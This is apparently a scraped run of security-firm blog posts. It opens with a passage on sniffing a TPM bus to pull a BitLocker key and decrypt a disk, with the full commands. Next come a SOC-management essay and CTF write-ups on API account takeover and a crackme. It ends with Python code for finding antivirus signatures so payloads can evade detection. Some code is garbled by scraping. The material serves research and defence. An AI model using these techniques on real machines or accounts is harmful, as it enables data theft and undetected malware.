We paid the $20 over PayPal, fully expecting to get scammed, but 15 minutes later, we received an email from a GMail address with some .rar archives containing the BoardView file and software. Naturally, we opened the archives and ran the software on our production domain controller, and it was actually legit! We could confirm that the mystery debug pad was indeed the LPC clock going through some resistors and through a BGA mounted chip (we would have had a tough time doing continuity tests under there!)

Retracing the LCLK signal back to the LPC debug pads.

Below is the pinout of the LPC debug pads, and we finally have all the required signals. We also noticed, thanks to the schematics, that the clock signal path from the chip to the debug pad was not complete and we had to create a soldering bridge to link them (cf. resistor R1806).

LCLK signal on the LPC debug pads and position of the bridge (R1806).
Soldering bridge to link the clock signal between the chip and the debug pad.

Hooking up a sniffer

After finding the best location to probe, we soldered some wires to the LPC debug pads in order to easily hook the sniffer.

From left to right: LDA[0:3], LFRAME, LCLK, and ground.

We started by connecting a MSO 19.2 logical analyzer in order to observe the traffic. According to the manufacturer’s data sheet, the LA buffer is not large enough to capture the whole starting sequence so the device was only used to verify that data were properly retrieved. By doing so, we were able to confirm that the signal shape matched LPC traffic.

LPC trace with CLK signal in white, FRAME signal in red and DATA[0:3] on channels 3,4,5,6.

In order to circumvent the buffer limitation, we used an FPGA-based device produced by Lattice Semiconductor namely the iCEstick40. This is the same hardware that Denis Andzakovic used for the TPM 2.0 sniffing attempt (except ours is enclosed in a fancy-home-3D-printed box!)

We connected the sniffer according to the pinout specified in the LPC sniffer Github repository using probe clamps to the previously soldered wires. The clamps ensured a good connection with the soldered wires but the connection to the sniffer module was less reliable. In order to reduce movements and therefore limit contact issues, the plugs were tightened by compressing the lower part of the metal connector.

Sniffer hooking using probe clamps (1).
Sniffer hooking using probe clamps (2).
Probe connections to the sniffer; Close-up on the box.
VCC 3.3|NC 1
GND        2
lpc_clock  3
lpc_ad[0]  4
lpc_ad[1]  5
lpc_ad[2]  6
lpc_ad[3]  7
lpc_frame  8
lpc_reset  9

Data acquisition

The data acquisition was performed using a modified version of the LPC Sniffer. The firmware was modified by Denis Andzakovic to save buffer storage and therefore delay overflow by only recording TPM-related addresses 0x00000024.

After flashing the device, the python script can be used to retrieve the LPC frames. The following command is executed on the sniffing computer, then the target laptop was turned on in order to let the TPM check PCR registers, release the VMK and transmit it over the LPC bus.

As depicted in the output below, only the frames that starts with 24 are recorded in the output log file.

$ sudo python3 parse/ /dev/ttyUSB1 | tee log1

Once the boot sequence is completed the script is stopped. The collected data were processed to remove the frame header and only keep the actual data. Then the grep command is used to extract the VMK header followed by the key (32 following hexadecimal characters) as shown below.

$ cut -f 2 -d\' log6 | grep '24..00$' | perl -pe 's/.{8}(..)..\n/$1/' | grep -Po "2c0000000100000003200000(..){32}"

The key values observed on the bus were not exactly the same every time. This behavior is probably related to the sniffer connection which is far from perfect even after the socket tightening session. As the transmission errors occur randomly, it was relatively easy to identify them by comparing multiple measurements. The table below illustrates the values obtained during four boots.

Multiple sniffed data comparison and final key in the right column.

Disk decryption

With the decryption key in hand, it was possible to decrypt the local disk thanks to dislocker. The last version of the tool at the time of writing is 0.7.2 and it supports the --vmk option which allows to directly specify the VMK without having to reconstruct the FVEK. The VMK has to be placed in a binary file as shown below.

$ hexdump -C vmk
00000000  5a f9 49 09 16 01 3a 0b  c1 27 b3 30 1d 41 50 8c  
00000010  4a f8 ab b8 58 3d e5 e4  c6 0b bb ab cf ad 8a 3a
$ sudo dislocker -v -V /dev/sdb3 --vmk vmk -- /media/bl
$ sudo mount -o ro,loop /media/bl/dislocker-file /media/blm
$ ls /media/blm
'$RECYCLE.BIN'             ESD            pagefile.sys    'Program Files (x86)'         Users
'$SysReset'                hiberfil.sys   PerfLogs         Recovery                     Windows
 Chocolatey                install        ProgramData      swapfile.sys
'Documents and Settings'   Intel         'Program Files'  'System Volume Information'

At this point it would be possible to circumvent completely the Bitlocker protection and typically :

  • access and tamper any stored file;
  • steal the local password database including;
    • local accounts in the SAM hive
    • the last ten domain connected users thanks to MSCACHE
  • backdoor the machine with a malware


To summarize, we were able to retrieve the Bitlocker key in a couple of days with a 49$ FPGA module by only using tools available in DIY stores and, cherry on the cake, without breaking the computer. The operation was easier than expected especially considering it was our first hardware attack and that many companies rely on a TPM-only configuration.

Of course none of this would have been possible (at least not in such a short time) without the work of many other security researchers that discovered the issue, wrote papers and published their tools.

The motherboard schematics was a great help in finding the mapping of the debug pads. It is, however, important to highlight that better soldering skills would have allowed attaching connections directly on the TPM chip itself thus making unnecessary to trace the connections.


In order to avoid being targeted by the TPM sniffing attack, the easiest way would be to configure Bitlocker to use an additional pre-boot authentication factor like a PIN. Some other factors like USB devices or smartcards would also work but are generally considered less convenient for the user. Of course this configuration change implies that users would have to enter an additional piece of information when to computer boots.

The recently released Windows 11 OS requires the use of a TPM 2.0 chip which was designed to offer encrypted communications. This prerequisite might open the door to a proper way of securing the transmission without requiring the user from adding a second authentication factor. Note, however, that this change would technically prevent TPM sniffing but not other physical attacks.

Additional details regarding Bitlocker countermeasures can also be found on a dedicated Microsoft post.


SOCs real-life challenges & solutions

7 February 2022 at 11:10


As SCRT’s blue teamers, we often deal with Security Operations Centers (SOCs). Being able to interact with many different SOCs for our consultancy service gives us the possibility to understand the main challenges a SOC faces and how to solve them.

This blog post results from a Master of Advanced studies’ thesis for Geneva’s Haute École de Gestion, in the field of information security management. It relies on both public resources (articles, books, e-books, etc.) and several interviews that were conducted with different SOC managers and CISOs.

We will try to get a glimpse of real-life challenges and compare them to the sponsored content, so we can limit biases and determine how to tackle what really matters.

We would like to thank all SOC managers and CISOs who have taken part in this study.

Author : Greg Divorne

There is data, and Data.

Information gathered was classified in the categories below according to a method detailed in the paper, but let’s jump to the synthesis.

The lower the priority, the most important it is. The highlights in green show that the challenge is often mentioned in interviews, but not in the public sources. For the red ones, it is the opposite.

Category Public sources Interviews Priority
Missing global infrastructure vision 5 1 6
Not enough human resources / lacking skills 1 5 6
Missing mission / governance 6 1 7
Budget 3 5 8
Alert volume 4 5 9
Inadequate or wrong use of tools 2 10 12
Process deficiency 8 5 13
Data (Big data) 11 5 16
Missing proactivity 13 5 18
Misplaced efforts 8 10 18
Conformity 8 10 18
Lack of authority 11 13 24
Threats evolving faster than defenses 11 13 24
Pentest / Purple Teaming 13 13 26

It is interesting to note that the challenges reported by the SOC managers really differ from the ones that have been made public. This is highly probably due to sponsored articles within the public sources, and we foresee trouble when this content influence policy makers.

We can also notice that most of the points in red are easy to sell: you’re missing resources? Hire a MSSP service. Got bad tooling? Acquire new (and expensive) tools.

We know the readers of our blog won’t get fooled that easily, yet we have to remind everyone to base their choices on the reality of their own environment!

So, what are the key takeaways?

The most relevant part is that the governance and infrastructure vision are the two main challenges that the SOCs currently have to face. Of course, if one does not have a proper governance in place, they won’t be able to decide what to do next, which is why they will face many other subjacent problems.

Regarding the vision (or knowledge) of the infrastructure, it is critical to protect one’s assets. How would one be able to protect something they don’t know the existence of? Impossible. While some tooling may help with automated scan of assets, it then remains to classify those assets in accordance to their importance to the company. Which, in turn, requires to known the importance of the data it hosts and the business application it runs, far beyond knowing it’s a Tomcat server with log4j and a MongoDB database, if you see what I mean. To value the application, one needs to know the value of the business processes it serves, and how it fits in the organisation’s chain of value.

Dave, the human.
Source :

Finally, we found out that the biggest challenge is often Dave, who is the human, and not the technology. One may have as many technologies, as much budget as they want, if they don’t know how to leverage them, they will never get the best results they could. But Dave needs a real governance to pick up the tools that will serve the strategy and solve subjacent challenges, and not just providing meaningless shiny dashboards!

Summary of proposed solutions

The solutions proposed below are in order of importance. If you want to benchmark or improve your SOC, you should follow the steps one by one, beginning by the governance.


Clear and precise governance must be established between the various stakeholders, with the support of the top management. The CIO, CISO and SOC Manager, along with the risk management office when it exists, must define the scope of the SOC in terms of assets coverage and security missions. It must also confer sufficient authority to the SOC in the event of a major security incident to take appropriate, time effective measures before the whole house is burned down. It may imply delegating decision power with strong consequences on business operations to the SOC management.

Global infrastructure overview

A complete, up-to-date and dynamic global infrastructure map must be available, and has to cover at least the perimeter defined by the governance. It needs to mention at least the asset, its purpose, its criticality, and its owner. It is also strongly recommended to have a user repository with their different accounts (again with purpose, criticality and owner).


A budget must be determined by considering the different aspects highlighted during the governance. It must include the entire triangle: Human Resources, Processes and Technology. It must be proportional to the missions and perimeters entrusted to be efficient. Mind you we wrote about humans as the first element in the list.


The tools made available must be able to fulfill the various missions defined above. Do not hesitate to evaluate the different tools on the market. Do not neglect the “support” workload, i.e. the effort required to set up, maintain and develop the tools.

They must also include training (internal or external) so that the users of these tools are able to use them efficiently, with the version bought and their successive versions (that may bring enhancements, you know).


It is important to provide an interesting and motivating work environment. This starts with the corporate culture to the personal development of the employee. Keeping an employee happy is much simpler and more profitable than having to re-hire future employees, train them, and thus falling into a vicious circle. The human element is crucial to the success of a SOC and often times underestimated.

Alerts’ volume

A major factor in the turnover of SOCs is “alert fatigue”, when there is too many alerts per person. The number of alerts must be kept reasonable at all costs, otherwise they will never be processed conscientiously, and the result will be worse than if there are fewer but more relevant alerts. There are mainly two strategies to address this point. The first is to reduce the number of alerts, and the second is to help analysts with tools that automate recurring actions.

Big Data

An emerging problem that will grow over time, as volume data becomes bigger and different. The integration of artificial intelligence will be necessary to help dealing with this new problem. However, it should not be forgotten that experts will still be needed for a different understanding of incidents and their resolution.

Continuous Improvement

Finally, for an effective SOC, the various things mentioned must be regularly reviewed. It is good to start from the governance every time to check if the situation changed, before focusing on the recurring pain points. Breathe and keep a higher perspective. Recognise your progress and successes is also very important.

In order to test your SOC, it is very interesting to ask for simulated attacks on a regular basis (CF : Continuous pentesting). This will allow you to locate potential flaws in the SOC coverage, update processes, production release, etc.

Do not hesitate to develop KPIs tied to your own challenges. Their accuracy makes it a powerful tool for the governing committee to see whtat was achieved and make informed decisions about reviewing expectations or granting additional means.

What now?

If you are interested in having a more detailed reading, or to get help on how to manage all those aspects, you can contact SCRT for guidance. We will be happy to help you and improve your overall security posture!

Apiculture 1 write-up

29 March 2022 at 19:25

The Apiculture challenges are dedicated to API attacks. It is basically a honey’s addict website:

To solve the first challenge, we should pay attention to the call to the /api/products/ API:

This endpoint provides information to the Angular front-end so that the page can be rendered in the browser… But it is impacted by an Improper Data Filtering vulnerability, since it reveals data [i.e. the vendorID field] that is not used in the webpage. We can indeed discover that all products have been published by the same vendor, whose ID is 57336:

We should then try to discover other endpoints. Fortunately for us, the developer kept a detailed description of his APIs at /api/swagger.json:

The /api/flags/ endpoint sounds particularly interesting… But it is protected by a Basic Auth:

Let’s have a look to the /api/vendors/ endpoint. It reveals interesting information when we provide the vendorID that leaked through the initial Improper Data Filtering vulnerability:

So, we know that the vendor is a simple user and we have his password hash. This SHA1 hash can cracked quickly or simply googled to get the weak password of this vendor:

Nevertheless, it doesn’t permit to access the restricted /api/flags/ endpoint… But we can exploit an Insecure Direct Object Reference vulnerability to get information on other vendors:

After a few attempts, we discover that the vendor 57332 is an administrator:

And his weak password can also be googled easily:

We can now log as Antonio Rodrigo NOGUEIRA with the [email protected] user and the abeille password:

And finally enjoy our flag:

Thanks for playing with Apiculture 1,

Frédéric BOURLA & Simon DENEL

Apiculture 2 write-up

29 March 2022 at 20:13

The Apiculture challenges are dedicated to API attacks. The second level basically looks like a webpage dedicated to beehives:

A quick look in the Developer Tools reveals a call to the /api/v4/products/ endpoint:

This endpoint indeed permits to get the beehives JSON. It is also impacted by an Improper Data Filtering vulnerability since it contains data [i.e. the vendorID field] that is not used by the Angular front-end to render the webpage in the browser:

Anyway, this leak is not very useful in that challenge. A most interesting finding is to notice that a Swagger file is available at /api/v4/swagger.json:

The /api/v4/reset endpoint sounds interesting, since it may permit to change someone else’s password:

Based on this Swagger, the /users/reset endpoint relies on reset1ModelInput and resetModelOutput schemas. We should therefore investigate the definitions to see what is expected by this interesting endpoint:

The /users/reset endpoint basically expects to receive a POSTed email string and will then respond with another message string. Let’s check:

It seems that this endpoint is not very verbose and can’t be leveraged to identify valid mailboxes:

Unfortunately for us, the password reset process relies on a secret link that is sent to the owner’s mailbox. Since none of them could apparently be attacked, we should find another approach.

The trick here was to notice that we are facing the 4th version of the API. And that there may be older versions, like staging or deprecated APIs. Indeed, a few attempts quickly reveal the existence of a v2 and its Swagger file is available at /api/v2/swagger.json:

Contrary to the production ecosystem, there is not a single /users/reset endpoint on this deprecated API. There are indeed 3 distinct reset endpoints:

The /users/reset1 endpoint expects a POSTed email string and apparently responds with an AES-256 cipher:

The /users/reset2 endpoint then expects to receive this AES-256 cipher through a string variable called aes256PayloadFromReset1. It also apparently expects a challengeResponse variable as an integer, and it will also respond with an AES-256 cipher:

Finally, the /users/reset3 endpoint expects to receive this AES-256 cipher through a string variable called aes256PayloadFromReset2. It also apparently expects to receive a string variable called sms4digits, and it will then respond with a string message that contains the new password:

So, the password reset feature on this old API only involves a 4 digits PIN presumably sent to the owner by SMS. This smells very good! We can’t brute force a secret link that is for example based on an UUID, but we can attack a 4 digits PIN… So, if both versions of the API do use the same database then we have a nice way to compromise an account in prod by attacking the deprecated API. This scenario is very indeed similar to the one that impacted Facebook in 2016, except that this /api/v2/reset endpoint also involves a captcha protection (as we will see soon).

We therefore need to identify a victim of choice and use his email address to hijack his account through this deprecated API. Contrary to the production interface, the reset endpoint on the deprecated API is quite verbose and we now have a way to verify if a target exists on the backend:

Thus, we should now focus on finding a target of choice. And it turns out that the robot.txt references a sitemap.xml file:

This sitemap permits to discover a file called giftcard.pdf in the marketing_legacy directory:

The PDF file itself is useless but Directory Indexing is allowed on the parent directory, which permits to discover other Office documents:

Both the DOCX and PPTX files do contain metadata which reveal the CEO’s name:

Some quick OSINT queries permit to quickly get information on “Winny BÄRENJUNGEN”:

The CEO is easily findable on LinkedIn, Twitter, Youtube, Copaindavant and Viadeo. We can quickly discover that the CEO’s email is [email protected]:

Une image contenant texte, objet d’extérieur, nid d’abeille, capture d’écran

Description générée automatiquement

So now that we have identified a target of choice, let’s attack the forgotten API by starting on the /users/reset1 endpoint:

Une image contenant texte

Description générée automatiquement

As expected, we receive an aes256Payload (which is most probably used to host server-side secrets to provide some stateless functionalities) as well as a captcha to resolve through the challenge variable.

This captcha is a very simple mathematic challenge, so we can call the /users/reset2 endpoint and provide it both our answer and the AES-256 payload we received from the first endpoint:

Une image contenant texte, capture d’écran, moniteur

Description générée automatiquement

Unfortunately, such a manually crafted request is apparently too slow. So we need to automate that action to be faster:

Une image contenant texte

Description générée automatiquement

This works better, we don’t get any expired challenge issue:

Une image contenant texte

Description générée automatiquement

The last step is therefore to use the /users/reset3 endpoint to post that AES-256 cipher along with the 4-digits PIN that has been sent to the target. Let’s try to add a small brute forcing feature for that PIN:

Une image contenant texte

Description générée automatiquement

As there is no protection against brute forcing on the PIN, we can finally reset the CEO’s password in a few seconds and get our flag:

Une image contenant texte

Description générée automatiquement

Thanks for playing with Apiculture 2,

Frédéric BOURLA & Simon DENEL

GDBug write-up

29 March 2022 at 19:21

The GDBug file is an ELF binary:

It simply requires a valid serial that we should identify:

Une image contenant texte, horloge

Description générée automatiquement
Une image contenant texte

Description générée automatiquement

The strings do not reveal anything, besides a fake flag which is not accepted:

Anyway, the binary doesn’t seem to have particular protections:

There only seems to be a basic anti-debug:

Une image contenant texte

Description générée automatiquement

But old versions of GDB and Radare2 have difficulties to analyse the binary:

Une image contenant texte

Description générée automatiquement
Une image contenant texte

Description générée automatiquement

It was indeed supposed to be tricky since the binary was glitched in a way to disturb disassembly within GDB and Radare2… But the problem is that this challenge has been written 3 years ago, in the good old pre-covid time. Nowadays the PE can be parsed without any issue, it is very easy to disassemble it and even to decompile it… For example with Ghidra:

Une image contenant texte

Description générée automatiquement

The biggest difficulty having disappeared, it is today very easy to get working serial numbers if we pay attention to generate a 24-chars long string which has a dash on 4th, 9th, 14th and 19th position, and whose sum of all ASCII characters equals 1535.

Une image contenant texte

Description générée automatiquement

That’s it. Sorry if it was too easy, and even more sorry for those who didn’t see on Discord that many serials would be accepted. Next chall will be harder, I promise. :-]

Frédéric BOURLA

Splunk Boss Of The SOC (BOTS) @Insomni’hack

4 April 2022 at 09:28

It’s was a pleasure this year to meet you at the 2022 edition of our amazing security conference Insomni’hack !

With Splunk collaboration, we come back this year with “Splunk Boss Of The SOC” challenge.

What is BOTS and his history

Boss Of The SOC (BOTS) is a blue-team version of capture the flag competition. As a SOC analyst, you have to explore and investigate realistic event data/alert in Splunk Enterprise and Splunk Enterprise Security. During the competition, you can practice your security skills and compete with other participant. You have to answer a series of questions with different type, difficulty. Points are obtained for both accuracy and speed.

The first BOTS edition was created by Splunk at the .conf2016 and today it is an unavoidable event of each edition of Splunk .conf. The 2021 edition was virtual but did not impact the participation rate : 3700 attendees, 966 teams from over 700 organizations.

The next BOTS is planned at Splunk .conf 22 (18:00 Pacific/UTC-7), 14 June 2022. Remote participation is possible !


The main story for Insomni’hack BOTS edition was the following :

” You and your team will role play as the quirky Security Analyst Alice Bluebird, a security analyst at Frothly, a thriving home brewing supply company. Why? Just because it’s a pandemic doesn’t mean Frothly has stopped defending its network. Contestants will pivot through a brand new, realistic dataset using Splunk’s analytics-driven security platform and the wild, wild web. All the while racing the clock ( and the globe) to identify the who, how, and where through a series of full forensic investigations.”

6 scenarios were available : Splunk ES, Splunk SOAR, AWS, Remote Work, APT and GCP.

Behind theses scenarios, the tools were Splunk Enterprise, Splunk Enterprise Security, Splunk SOAR and Corelight.

Who can participate ?

Everyone can participate! It’s fun and it lets you practice your security skills on a very cool platform. You can prepare yourself with the Splunk resources below:


We are proud of SCRT analytics team to be at the first place for this edition :

Congratulations to all participants of this edition and see you again next year !

Automatically extracting static antivirus signatures

By: plowsec
5 April 2022 at 09:42

This blog post accompanies the talk we gave at Insomni’hack 2022. The source code as well as the slides can be found at:


What can we do when a tool that we use during pentest engagements becomes detected by antivirus software?

For a long time, the answer was: use a packer. After a while it was all about making your own “packer” or relying on paid ones. These days however, we encounter more and more security software that perform memory scans, and we are not particularly fan of maintaining several tools, one for antivirus X and one for antivirus Y, etc.

So, as usual we looked for a solution as generic as possible and came up with the tool that is the subject of this blog post. In the meantime, the community came up with similar solutions, but we believe our solution is sufficiently different to still be of some value to the community.


Without further ado, our tool is open-sourced on GitHub and can be used as follows:

$ python3 -h                                                                                                                                                       
usage: [-h] [-s] [-z] [-f FILE] [-e] [-l LENGTH] [-c SECTION] [-g]

optional arguments:
  -h, --help            show this help message and exit
  -s, --skip-strings    Skip strings analysis
  -z, --skip-sections   Skip sections analysis
  -f FILE, --file FILE  path to file
  -e, --extensive       search strings in all sections
  -l LENGTH, --length LENGTH
                        minimum length of strings
  -c SECTION, --section SECTION
                        Analyze provided section
  -g, --globals         Analyze global variables in .data section


This section describes the design choices that were realised along the way and lays out the theory needed to understand why we did it that way.

The usual AV theory

McAfee said in 1988 that the “problem of computer virus is temporary and will be solved in the next 2 years”. Obviously the prediction was off by a few centuries but I think it’s a bit ironic to develop antivirus software, so software that analyse other software, and not know about the Rice theorem. In any case, security software will always struggle to implement an algorithm that discriminates between good or malicious programs without making mistakes, and the theoretical proof of that assertion go back to Turing’s machine, so there is that.

In view of this, all the work we do to circumvent antivirus capitalises on that. Still, some of them can be pretty painful to evade, and that is because they are stacking detection mechanisms.

Here is a diagram of the situation:

As you can see, the poor payload has to go through all these tests in order to survive and be able to express its full potential. Luckily for us, each of these has flaws that we will exploit separately to achieve full remote code execution without detection:

Static detection bypass


Remove every identifiable artefacts or merely bypass the static signatures.

Emulation / sandbox execution

Detect the detector and take it for a/several (processor) spin(s), with for instance, an infinite loop. That will teach it, because maybe they don’t know about the Rice theorem but surely they have heard of the halting problem.

Dynamic detection

Well here it gets a little more complicated, but as of 2022 all the concepts are now well documented:

  • Memory scans: remove static artefacts such as strings, constants and API imports.
  • Userland instrumentation: blind the antivirus software by removing its datasource.
  • Kernel-land instrumentation: blend in with the crowd or load your own driver to nuke some kernel object.

An important quote

I was told in school that the best way to produce bug-free software was to “assume nothing” and test “everything”. While I’m very grateful for this lesson since it has served me well ever since, I would like to add that when you’re on the other side and you are facing a software made by someonelse, assume that they did not, in fact, “assume nothing”. Assume that they did not test, that they were lazy or even ignorant of the basis. Then, test your theories.

While I began the research on Windows Defender, the rumours at the time were as follows:

  • “Yeah sure it sucked for a while but recently they added artificial intelligence.”
  • “You can’t have a RWX section because any antivirus will catch that”.

Spoiler: it did not at the time, and it does not today either. I assumed that Windows Defender still sucked, be it in the same way or worse than its competitors, and I assumed that if it was capable of detecting a freshly generated Meterpreter payload wrapped with custom encoders, it had to be because a malicious artefact was glaring in its face, and I set out to find out what it was.


When a payload is detected by an antivirus software, there are some quick tests that can be performed to pinpoint the detection mechanisms used (in relation to the schema above).

  • File hash signature: change a byte.
  • Dynamic detection: keep the whole codebase but insert an infinite loop somewhere, so that the program is really benign. If the file is still detected, then the detection happens because the antivirus shortcuts its analysis due to some artefacts statically available. If not, then the detection happens while the payload executes.

If thats’s the case, there is no reason to think it’s more complicated than memory scans or userland hooks, so keep calm and try to eliminate every possibility one by one.

Applying this methodology on Windows Defender soon helped me understand that the detection was most of the times due to static elements, although the scans happened at several levels in the payload’s execution.

The previous blog posts address the dynamic detection issues, and this one solves the problem of static signatures, which is twofold:

  • Sometime rebuilding the payload is more troublesome than just changing the part where the signature is located, especially for complex payloads with lots of dependencies.
  • For Windows Defender alone, we observe new signatures for the payloads we use in a relatively short timeframe. It’s likely they have automated the process on their end, so in response we should probably do the same.

Proof that antivirus are “still early”

Let’s take the side of people who might think antivirus are advanced software and see how AV vendors should implement their algorithm to match these expectations.

Artificial intelligence is magic

Let’s say the antivirus is full sentient and able to predict with IA that a file is malicious without executing it. For that to work, the analyst would need to feed the algorithm thousands of malware and make it look at the artefacts in the executable that could play a role in the program’s behaviour, which are:

  • Executable’ structure: look for anomalies.
  • Imported functions: look for commonly used API for commiting mischief (SetWindowsHookEx for instance)
  • Embedded resources (for instance hidden executable or high entropy binary blobs, which could be encrypted malware waiting to invade the system).
  • Strings

To check that, we just to do some quick tests:

  • The executable’s structure looks off to the antivirus: make it look like a normal executable and re-scan. You don’t need a corrupt PE to evade the antivirus.
  • Imported functions: these are located in the .idata section of a PE file. Remove the section and see if the antivirus still detects the binary.
  • Embedded resources: remove the sections .rsrc and custom ones as well.
  • Strings: remove the .data and .rdata sections.

For each of these tests, if the antivirus still detects the binary, with the same verdict, then it is looking somewhere else, which invalidates the importance of the tested criteria.

If the strings were helpful to the AV, then one can remove them. Strings are for humans, malware don’t need strings.

If the imported functions give out the program’s behaviour, then the AV assumes that a program must declare the API it uses to do its job, and the problem goes away with GetProcAddress and function pointers.

We can go on like this for each of the detected artefacts, the point is that in case the AV looks for static artefacts, then it is not “really” predicting the program’s behaviour, it’s extrapolating and that can easily be broken.

The antivirus just “sees” that your algorithm looks harmful and is doing no good to this world

Ok, fine. For that to work, the antivirus performs a perfect decompilation of the malware, isolates custom functions from library code, and then classifies each as benign and malicious. Notwithstanding the fact that IDA Pro is 30 years old and still requires manual intervention for function identification in complex software should speak for itself, let’s assume the AV is more advanced than the most advanced reverse-engineering framework out there.

To test that, simply carve out the .text section of a binary and replace it in the analysed malware, and then re-scan it. If the antivirus still detects it, then that was not the issue. If not, then you should identify which function triggers the antivirus, and here a simply binary search would work as well. And even then, I would be skeptical that the function actually is the root cause for the detection, I would rather expect that some stack strings and shellcode is embedded in the .text section and is seen by a scanner that does not perform any decompilation. After all, even with IDA Pro’s FLIRT signatures, you have to have the exact library version with the exact compiler’s version and the exact ABI. Similar products or tools face similar issues.

The antivirus emulates the file and sees what it’s doing

Windows defender actually embedds an emulator in mpclient.dll. However, there are more advanced ones publicly available and they don’t work for complex software, so I don’t expect an antivirus to perform better in this field either. But let’s assume they do and simply insert an over-engineered infinite loop at the program’s entry point. The emulator should choke on it and report the file as benign, and then you can capitalise on that to implement an anti-emulator check. If not, they have solved the halting problem and we can all go flip burgers at McDonalds’.

Automate static signatures identification

By now I hope I have convinced you antivirus are enhanced versions of “grep” and you might wonder what to make of it all. The initial approach was rather naive: perform a binary search of the sequence of bytes that could be detected by the antivirus engine. While it certainly provided results, it was suboptimal:

  • This method does not account for the executable file’s structure. If the PE becomes corrupted, the antivirus engine may stop anaylzing it and consider it benign, which produces a false positive in our analysis. To our knowledge, every tool that offers automated signatures identification as of 2022 are simple like that.
  • The approach is insufficiently precise: for optimisation we might decide to implement a minimum length for the sequence of bytes, for instance we chunk the file in parts each time smaller, but never less than 256 bytes. In case the antivirus triggers on a 5-bytes long sequence, we might still be confused about the real signature’s content.
  • The approach is unoptimised: there are 50+ antivirus out there and each are suboptimal in their own way. So, the automated analysis should quickly identify which kind of detection it is.

Enter Antivirus Debugger

To account for all the elements explained above, our algorithm works as follows:

Take a malware and assert that it is detected by the target AV. Without breaking the PE, iteratively zero out each of its sections and look for significant variations in the scan time or signature name.

This test allows to pinpoint a section that, if zeroed out, prevents the antivirus to understand it’s looking at malware, but in case the AV implements a scoring system and there are several signatures spread out across several sections, you will miss them. To fix that, one might want to perform the same method but inverted: zero-out every section, and then iteratively restore sections one by one.

Then, depending on the detected sections, there is a dedicated method to locate the signatures.

Code section

In case the code section is detected, you could either fall back on a binary search of a byte sequences but limited to the boundaries of the code section, or identify functions boundaries and locate the one detected by the AV, and then looking for static data in it.

We never faced this situation so we’ll focus on the other ones.

.data section

By convention, this section holds the global variables for the program. Our analysis implements a heuristic algorithm to enumerate global variables and their size, and then we binary search the results by zeroing out some of them.

.rodata section

In this section there are mainly strings used by the program. Here a binary search capitalising on strings boundaries works quite well.


Did you embedd a big, high entropy blob of data? Then remove it to ensure that it is in fact causing the detection, and then simply hide it with more care.


Fall back on a binary search on raw binary data.

Automated scans

The aforementioned tests require a way to scan binaries several times. So many times that doing it by hand is not desirable. We implemented a custom VirusTotal in our lab on top of VMWare’s vmrun commandline tool, but for Windows Defender there is a better way thanks to taviso and its awesome loadlibrary project.


The tool is written in Python and relies on radare2 or rizin with r2pipe for the binary analysis part. Patching can be done with radare2 as well, but due to some bugs we developed an alternative method without dependencies as well.

Global variables identification

Beware that the following method is purely heuristic and is by no mean an accurate way of recovering global variables in software. An accurate algorithm was not necessary to evade the antivirus we were facing so we took the shortcut here.

This analysis is useful when the target antivirus detects something in the .data section. Global variables are expected to be put there by the compiler. To detect most of them, one can argue that it suffices to process cross-references to a given address present in the .data section. Of course that is not always true because it is more complicated than that. Luckily for us this assumption will do just fine for our use case.

With r2pipe, one can extract the XREFS as JSON with the following code:

pipe =
xrefs = pipe.cmdj("axj") # get cross-refs as JSON
xrefs = [x for x in xrefs if x["type"] == "DATA"] # keep only xrefs to data
xrefs = sorted(xrefs, key=lambda x: x["addr"]) # sort by address

Next, to guess the size of each variable, we’ll do another simplification and assume the compiler did not waste any space and that radare2 did not miss any cross-reference (Spoiler: it often misses some), and thus the size of a variable is equal to the address of the next minus the address of the current variable under analysis:

# guess var' size
for index, xref in enumerate(xrefs):

    if index >= len(xrefs) - 1:
        size = 256  # too lazy to handle this edge case
        size = xrefs[index + 1]["addr"] - xref["addr"]

    vars += [Variable(xref["addr"], size)]

Where Variable is a dataclass defined as follows:

@dataclass(unsafe_hash=True, eq=True, order=True)
class Variable:

    addr: int
    size: int
    paddr:int = 0

    def display(self, pe):

        with open(pe.filename, 'rb') as f:
            bf =,128))"\n"+hexdump.hexdump(bf, result="return"))

With the code shown above, it is possible to identify variables with a zero size, so one should prepare for that by giving it the next variable’ size.

# fix vars with size 0
for i, var in enumerate(vars):

    for j, var2 in enumerate(vars):
        if i == j:

        if var.addr == var2.addr:
            if var.size == 0:
                var.size = var2.size

            elif var2.size == 0:
                var2.size = var.size

This produces duplicates, that one can pythonically filter as follows:

# uniq sort
vars_filtered = sorted(list(set(vars)), key=lambda x: x.addr)

Then, the last filtering takes care of variables whose address are outside the .data section boundaries, and once that’s done, each result can be updated with the correct file address with respect to the virtual address:

# only vars in .data section
section = next((sec for sec in pe.sections if == ".data"), None)
vars_filtered = [x for x in vars_filtered if section.vaddr <= x.addr < section.vaddr + section.vsize]

# guess file address with virtual address
for var in vars_filtered:
    var.paddr = var.addr - section.vaddr + section.addr

Strings identification

Here, r2pipe is also used with izzj, but you should know that it might not provide the same results as other binary analysis software.

pipe =
pipe.cmd("aaa") # trigger the whole program analysis
strings = pipe.cmdj("izzj") # find all the strings in every section

string_refs = []

for string in strings:

    if string.get("size") < min_length:

    # collect
    str_ref = StringRef()
    str_ref.index = string["ordinal"]
    str_ref.paddr = string.get("paddr")
    str_ref.vaddr = string.get("vaddr")
    str_ref.length = string.get("length")
    str_ref.size = string.get("size")
    str_ref.section = string.get("section")
    str_ref.encoding = string.get("type")
    new_encoding = convert_encoding(str_ref.encoding)
    # skip first whitespace
    content = string.get("string").replace("\\\\", "\\")
    str_ref.content = content  # .encode(convert_encoding(str_ref.encoding))
    string_refs += [str_ref]

Parsing a PE’ sections

radare2 offers the command iS to recover information about a PE’ sections:

section_size = 0
section_addr = 0

pipe =

# get the sections
sections = pipe.cmdj("iSj")

for section in sections:

    if section.get("size") != 0 and section.get("addr") != 0:
        pe.sections += [
        logging.debug(f"Found section: {pe.sections[-1]}")

Binary patching

In the context of this article, binary patching means zero’ing a sequence of bytes, which is pretty simple:

def hide_bytes(pe, start, length, use_r2=False):
    logging.debug(f"Hiding {length} bytes @ {start}")
    if use_r2:
        pipe =, flags=["-w"])
        replacement = ''.join(random.choice(string.ascii_letters) for i in range(length))
        replacement = base64.b64encode(bytes(replacement, "ascii")).decode()
        pipe.cmd(f"w6d {replacement} @ {start}")
        # for some reasons the code above is buggy with my radare2 version, so here is a workaround
        with open(pe.filename, 'r+b') as f:
            f.write(bytes(''.join(random.choice(string.ascii_letters) for i in range(length)), encoding='ascii'))

